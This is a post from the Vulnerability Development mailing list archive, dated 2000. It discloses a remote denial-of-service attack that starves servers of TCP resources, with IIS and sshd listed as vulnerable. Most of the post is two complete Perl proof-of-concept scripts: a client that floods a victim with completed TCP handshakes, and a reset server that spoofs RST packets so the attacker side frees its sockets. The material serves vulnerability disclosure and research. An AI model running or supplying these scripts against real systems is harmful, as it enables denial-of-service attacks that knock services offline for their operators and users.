Vulnerability Development mailing list archives

Re: Naptha - New DoS


From: Stephane Aubert <Stephane.Aubert () HSC FR>
Date: Mon, 11 Dec 2000 09:47:54 +0100

Remote DOS by TCP Resource Starvation
-------------------------------------

By Stephane Aubert <Stephane.Aubert () hsc fr>
HSC Security Research Labs
Hervé Schauer Consultants


While working on the analyze of the Naptha half-advisory
we found a lot of ways to deny a remote server by TCP
resource starvation.

For more information on this Napta description visit:
http://razor.bindview.com/publish/advisories/adv_NAPTHA.html

We have done a proof of concept (with anti-script-kiddies) in
order to show how it is possible to deny of service tcp servers
remotely such as :

  . IIS-5 on Win2000 : Vulnerable
  . IIS-4 on WinNT   : Vulnerable
  . sshd on FreeBSD  : Vulnerable
  . sshd on Linux    : Vulnerable
  . and so on ...

We are trying to find solutions to avoid such attacks.

Regards,
Stephane Aubert



Overview of the attack
======================

This attack can be launched from several sources (such as ddos
infected computers or else) and use a very specific RESET server.

On the compromised computers the script shutup.pl must run.
On the reset server the script rstd.pl must run.

(These scripts are given at the end of this file.)

shutup.pl opens a lot of tcp connections on the remote victim
(syn, syn|ack, ack) without closing these connections.

This kind of attack usually consumes resources on both sides:
the victim and the attacker, and e-business no days have, most of
the time, more CPU and more memory that personal laptop ;-)

New idea:
---------

In order to consume resources on the victim ONLY and deny it, we use a
reset server to close the connection on the attacker side.

  Attacker(i)  -------- SYN --------> Victim

  Attacker(i) <------ SYN|ACK ------  Victim

  Attacker(i)  -------- ACK --------> Victim

  Attacker(i)  -------- RESET Request ----------> Reset Server

  Attacker(i) <-------- RESET ------------------  Reset Server

  Attacker(i)  -------- SYN --------> Victim

  and so on ...


Proof of Concept
================

* Reset Server (rstd.pl)

  This code is a UDP demon waiting for UDP datagram. The payload of
  these datagrams contains the IP address of the attacker, the IP
  address of the victim, the source and destination port and the
  ack sequence number of the last ACK. It spoof a reset segment
  from the victim to the attacker.

  Usage: ./rstd.pl

* Main Script (shutup.pl)

  This code will connect to a TCP port on the remote system. After
  the tcp 3-way handshake, it request a reset to the reset server
  to destroy the socket and free the resource on the attacker side.

  Usage: ./shutup.pl <attacker> <victim> <port> <resetserver> <udp-port>


There are several different ways to implement such attacks. This one
allow to use several computers on different networks.
Napta DOS seems to need two computers on the same network.


Codes
=====

--[ shutup.pl ]-----------------------------------------------------------

#!/usr/bin/perl
#
# -=- PROOF OF CONCEPT -=-
# -=- This code includes several anti-script-kiddies ! -=-
#
# Remote DOS by TCP Resource Starvation Exploit
#
# Stephane Aubert <Stephane.Aubert () hsc fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

use IO::Socket;
use Net::RawIP;

my $attack = shift || 'localhost';
my $victim = shift || 'localhost';
my $port = shift || '80';
my $UDPserver = shift || 'localhost';
my $UDPport = shift || 5151;
my $verbose = 1;

$b = new Net::RawIP;
$a = new Net::RawIP;
$pcap=$a->pcapinit("eth0","proto \\tcp and src host $attack and \
                           dst host $victim  and port $port and \
                           tcp[13] & 16 != 0 and tcp[13] & 2 == 0",1500,30);

if( fork() ) {
  loop $pcap,-1,\&dumpit,\@a;
} else {
  while( 1 ) {
    my $sock = IO::Socket::INET->new( Proto => "tcp",
                                      PeerAddr => $victim,
                                      PeerPort => $port);
    unless ($sock) { print "Oops, cannot connect to $port/tcp on $victim\n"}
    select(undef, undef, undef, 0.25);
    close( $sock );
  }
}

### functions ############################################################

sub dumpit {
  $a->bset(substr($_[2],14));

  my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
      $daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
      $ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
      $a->get({
        ip=>['version','ihl','tos','tot_len','id','frag_off',
             'ttl','protocol','check','saddr','daddr'],
        tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
               'res2','urg','ack','psh','rst','syn','fin',
               'window','check','data']});

  printf "ACK: from %s:%d to %s:%d seq:0x%x ack:0x%x %s%s%s%s%s%s\n",
         &ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$seq,$aseq,
         ($syn?'S':'-'), ($ack?'A':'-'), ($fin?'F':'-'),
         ($rst?'R':'-'), ($psh?'P':'-'), ($urg?'U':'-');


  printf "Send UDP to $UDPserver on $UDPport/udp : [%s:%d:%s:%d:ack=0x%x]\n",
    &ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
    if($verbose);

  $sock = IO::Socket::INET->new( Proto => 'udp',
                                 PeerPort => $UDPport,
                                 PeerAddr => $UDPserver)
     or print "## error creating socket: $!\n";
  $msg = '';
  $msg .= pack( "N5", $saddr, $daddr, $sport, $dport, $aseq );
  $sock->send($msg) or print "## error sending UDP request !\n";

};

sub ip2dot {
 sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
### END ##################################################################


--[ rstd.pl ]-------------------------------------------------------------

#!/usr/bin/perl
#
# -=-               PROOF OF CONCEPT                   -=-
# -=- This code includes several anti-script-kiddies ! -=-
#                         -=-
# Reset server
#
# Stephane Aubert <Stephane.Aubert () hsc fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

use IO::Socket;
use Net::RawIP;
$b = new Net::RawIP;
my $maxlen = 1024;

my $verbose = 1;
my $listenport = shift || 5151;
my $sock = IO::Socket::INET->new(LocalPort => $listenport, Proto => 'udp')
    or die "socket: $@";
print "Starting RESET UDP serveur on port $listenport\n"
  if($verbose);

my $newmsg = '';
while ($sock->recv($newmsg, $maxlen)) {
    my($port, $ipaddr) = sockaddr_in($sock->peername);
    $hishost = gethostbyaddr($ipaddr, AF_INET);

    my( $saddr, $daddr, $sport, $dport, $aseq ) = unpack("N5", $newmsg );

    printf "Received UDP from $hishost : [%s:%d:%s:%d:ack=0x%x]\n",
      &ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
        if($verbose);

    $b->set({
             ip =>{
               saddr=>$saddr, daddr=>$daddr
             },
             tcp => {
               dest => $dport, source => $sport,
               rst => '1', ack => '0', psh => '1', fin => '0',
               seq => $aseq, ack_seq => 0, window => 0,
             }
            });
    $b->send();
}
die "recv: $!";

sub ip2dot {
    sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
### END ##################################################################



--
Stephane AUBERT                               Stephane.Aubert () hsc fr
Herve Schauer Consultants       -=-      Network Security Consultant
------------------=[ RFC1855 is good for us ! ]=--------------------


Current thread: